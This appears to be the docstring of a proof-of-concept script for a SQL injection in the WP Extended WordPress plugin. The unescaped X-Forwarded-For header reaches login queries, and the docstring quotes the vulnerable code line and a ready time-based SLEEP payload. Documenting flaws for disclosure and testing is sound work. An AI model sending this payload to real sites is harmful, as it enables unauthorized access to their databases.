    r"""
    WP Extended <= 3.0.12, with the "Limit Login Attempts" module enabled, derives the client IP from
    the X-Forwarded-For header (includes/.../wpext_limit_login_attempts.php:163-164
    getenv('HTTP_X_FORWARDED_FOR')) and concatenates it, unescaped, into several queries during login,
    e.g.:
    
        :108 $login_status = $wpdb->get_var(" SELECT attempt FROM $login_attempt WHERE ip='$wpext_ip' ");
    
    HTTP headers are NOT processed by wp_magic_quotes(), so a raw single quote survives -> SQL injection.
    Because the value flows into multiple query sinks during one login attempt, a single injected
    SLEEP() is executed several times, producing a large, unmistakable delay.
    
    Payload: 1' UNION SELECT SLEEP(5)-- -   (get_var, single-column context)
    
    Prior state: plugin active + the "Limit Login Attempts" module enabled
    (option wp-extended-modules['wpext_limit_login_attempts'] = true).
